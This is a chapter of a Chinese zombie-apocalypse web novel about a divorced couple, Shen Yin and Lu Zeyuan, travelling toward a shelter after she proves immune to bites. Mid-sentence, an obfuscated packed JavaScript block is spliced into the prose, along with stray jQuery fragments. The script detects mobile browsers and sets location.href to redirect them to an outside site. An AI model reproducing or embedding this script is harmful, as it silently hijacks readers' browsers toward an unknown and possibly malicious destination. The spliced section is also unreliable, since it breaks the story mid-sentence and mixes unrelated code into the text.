翌日。
很渴,喉咙干哑到呼吸都痛。
沈茵缓缓睁开眼睛,深色的帐篷顶,有阳光顺着带网眼的遮光布透过来,空气中漂浮着细微的灰尘。
她裹在睡袋里,身上盖着一张柔软蓬松的薄毯。
陆泽渊侧躺在她身旁,和衣而眠,浓密的睫毛半遮住眼底淡淡的青色。
在帐篷里过夜并不是很舒服,虽然睡袋很暖,沈茵仍然觉得后背僵硬得难受。她动了动手指,刚欲起身,却发现有一条手臂正紧紧勒在自己腰间。
她正躺在陆泽渊的怀里。
这让沈茵一时有点无措。或许是刚刚恢复意识的大脑还不太清醒,恍惚间她竟仿佛回到了从前。
他们曾经总是这样亲密无间地靠在一起,有时候嬉笑打闹,有时候只是互相依偎着忙各自的事。
忽然,腰上的手臂收紧,她见身边的男人皱了皱眉,似乎要醒来,忙收敛起凌乱的思绪,闭眼假寐。
陆泽渊做了个噩梦。
他梦见沈茵在一条荆棘丛生的小路上奔跑,四周很黑,她的衣服甚至脸颊都被划破,有血迹从大大小小的伤口渗出来。
他在后面努力追赶,满心满眼都是想帮她,救她。可是沈茵仿佛听不到他焦急的呼喊,只有一片雪白的衣角在他的视线里飘动。
终于,他追到她身后,急切地伸手触碰那个瘦削的肩膀。
沈茵缓缓回头,眼里冰冷的陌生和疏离让他呼吸都停滞了,“你是谁?请不要跟着我。”
“——茵茵!”他猛地睁眼。
见那张恬静柔和的脸还安安稳稳地睡在枕上,胸口伴随着呼吸一起一伏,他默默松了口气。
探了探沈茵的额头,总算是退烧了。
转念想到她腿上的牙印,陆泽渊刚放下的心又悬了起来。见她还闭着眼,他放轻手上的动作,掀开毯子查看伤势。
沈茵本就怕二人见面尴尬在装睡,这会儿又感觉到陆泽渊竟上手扯她裤子,便再也装不下去,两手一撑,坐了起来。
陆泽渊被她的动作惊得一愣,手上却没停,径直去拆她腿上的纱布,“——沈茵,你真是知道怎么折磨我。”
一只温热的手握住她的脚踝,此刻也意识到被丧尸咬了确实不应该瞒着,低声解释道:“事情不是你想的那样。”
“是吗?所以你是觉得我会丢下你不管,还是又想逞强,找个机会走人?”陆泽渊的质问又直接又强硬,噎得沈茵说不出话来。
她刚要反驳,却见面前这个一向冷脸的男人竟红了眼眶。
沈茵叹了口气,索性不再躲闪,就着他的手,拆下覆盖伤口的纱布,“我从没遇到过这样的事,一时间不知道怎么开口,你也要理解我啊。”
果然不出她所料,纱布拿掉后,被简单处理过的齿痕呈现出和昨天完全不一样的情况。青紫的痕迹已经开始逐渐淡化,豁开的皮肉虽然还没有完全长好,但也已经不再渗血。整个创面的状态比起普通人的愈合速度至少快了一周。
陆泽渊讶异地睁大眼睛,他伸出一根修长的手指轻轻抚摸伤口边缘的皮肤。昨天他亲眼确认过她的伤势,怎么会恢复得这么快?
沈茵补充道,“其实……我到这里的第一天,就已经被咬了。”她给陆泽渊看手臂上那块淡淡的痕迹,“还记得营地旁边的垃圾场吗?我醒来的时候就在那里。”
她把这几天的经历一一告诉了他。
陆泽渊拉过沈茵的手臂反复检查。
太瘦了,他握着沈茵的手腕,忍不住用指腹轻轻摩挲微凸的腕骨。明明以前和他在一起的时候,还有点可爱的脸颊肉,现在的沈茵小小一只,还穿着他的衣服,更显得单薄消瘦。
想到这里,陆泽渊起身取出蛋白棒和水,一夜高烧对身体消耗很大,沈茵也不再客气,两人简单吃了些东西。
“……你保持警惕的决定是对的。”他沉吟道,“我们来到的这个世界,不管是谁,只要表现出一点与众不同有利可图的模样,就很容易被人盯上。”
他直视沈茵的眼睛,“千万,不要向我以外的任何人暴露体质特殊这件事。”
沈茵沉默点头,虽然只有短短几天,但她已经充分发现,这里生存环境恶劣,物资短缺,若是有人得知她可以不被丧尸病毒感染,真不知道会被抓走做什么疯狂的事情。
“这种免疫对你的安全来说的确是件好事,至少目前看来是这样。但病毒是否会持续累积,或者说这种免疫的来源和机制还不清楚……”陆泽渊思忖片刻,“沈茵,如果你还信任我,去避难所吧。那里有医院,有化验的设备,可以做全面的身体检查。”
他知道这话听起来有些冒犯,甚至,他已经不是沈茵的家人了,没有资格建议或是干涉沈茵的去留。想到这,细碎的心痛又蔓延上来,他轻轻叹气。
“这个避难所,是什么样的地方?”沈茵有些犹豫。
“这里大约七成的居民都住在避难所,分布在十一个不同位置的地区。”陆泽渊摘下制服上的徽章递给她,“我工作的地方在避难所主城。虽然生活条件不如我们原来的世界,但有坚固的防御设施和军队,相对安全。”
“……好,我们就到那边再看看情况。”大隐隐于市,或许还能找份工作解决生活问题,这样就不用再欠他人情了,沈茵想。
二人遂简单修整,把所有东西装上车,朝着避难所的方向启程。
沈茵靠在副驾驶的皮质座椅上出神,车窗外的风景随着行驶快速后退。这个世界荒凉破败,虽然零星有些像镇子的建筑群出现,也大多残破不堪,早已没有了人类生活的迹象。
她揉了揉被阳光照得酸痛的眼睛,偷瞄身旁开车的男人。他腰板挺直,眉眼深邃,看上去沉静而专注。一双骨节分明的大手搭在方向盘上,好像比从前晒黑了些。
他们好几年没有这样并肩坐在一起了。
自从二人协议离婚,便再没了来往,偶尔从别人口中听到一点陆泽渊的情况,也都是工作调动居多。搞不好他被自己骗出心理阴影,变成工作狂了,沈茵暗暗自嘲。
陆泽渊其实算是个全方位的好男人,顾家,性格沉稳体贴,事业也有模有样。这样优秀的人,又怎么能接受被同床共枕的妻子欺骗多年呢。当初他提出分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299198|182733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开,沈茵便知道这段感情走到了尽头。
签协议,分财产,搬家,她没有任何异议,全权交给陆泽渊安排。可他却什么都没有带走,或许是不想和她再有任何纠纷吧。
突然,陆泽渊猛踩刹车,车子发出嘎吱一声巨响,沈茵抬头,发现路中间站着一个年轻女孩,她用力挥动双手,竟是在拦车。
陆泽渊并没有立即下车查看。他按下车窗,一手摸向腰间的手枪。
“抱歉!贸然拦你们的车。”女孩看起来慌张而焦急,脸上挂着泪痕,“我爸爸受伤了,请问你们有没有治疗腿伤的药,他从高处跌下来了……”
闻言沈茵向女孩的身后看去,视线越过她的肩膀,确实有一辆小货车停在路边,车子旁躺着一个中年男人,还有个约莫几岁大的孩子蹲在一边。
陆泽渊的手还放在枪上,“摔伤还是被咬,说清楚些。”
女孩再度落下泪来,“——我不敢骗您,我们之前确实遇到了丧尸,爸爸想去那个废弃的商场找一些物资……”
她用衣袖抹了抹眼睛,“我和妹妹本来在车里等他,后来我实在放心不下出去找,就看到爸爸被丧尸追赶,然后从二楼的台子上跌了下来……但爸爸绝对没有被咬!我看得很清楚!”
她有些泣不成声了。
沈茵作为医生本能地同情,陆泽渊转身叮嘱道,“我去看一下,你呆在车里不要动,等我回来。”
见沈茵点头,他才匆匆下车,随女孩查看情况。片刻,他竟折返回来,轻轻敲了敲车窗。
“那个人确实是腿伤。”他犹豫道,“不知道你愿不愿意去看看他的情况,流了很多血,可能是骨折,不太好轻易挪动。”
沈茵立即拿了药箱下车,那个中年男人的腿以一种诡异的角度扭曲着,显然十分痛苦。沈茵初步给他固定关节,并注射了止血药和抗生素。
“我不是专业的骨科大夫,只能简单处理一下,快把他搬上车,到医疗中心再看看。”
“快走!丧尸追过来了——”沈茵包扎伤口的时候,那个拦车的女孩站在高处盯着动静,突然朝他们大声喊道。
丧尸来得极快,有数十只徘徊在路旁几辆废弃的车后,或许是听到动静,纷纷向沈茵他们聚拢过来。
女孩一家的货车后车厢还开着,她一把托起妹妹的身体抱到车上,然后回头和沈茵一起搬运受伤的父亲。陆泽渊则迅速抽出配枪射击,枪声响起,击退了靠得最近的几只丧尸。
男人也恢复了些体力,他拍了拍女儿的肩膀,喘着粗气道:“快去拿刀,丧尸太多了,先帮那个小哥。”
女孩朝沈茵点了点头,转身跑向前车。沈茵一手拍在升降踏板的按钮上,小心扶起男人,帮他维持身体平衡。男人艰难起身,剧烈的疼痛让他脸上冒出一层冷汗。
终于安顿好伤者,沈茵关上车厢后门,丧尸已经几乎把他们包围了。
陆泽渊双手持枪,用子弹逼退不断贴近的丧尸。女孩和他背对背,竟操着两把切肉刀,紧实的肱二头肌牵动手臂,挥刀砍向丧尸的脖颈。
沈茵大喊,“这边都好了,快上车!”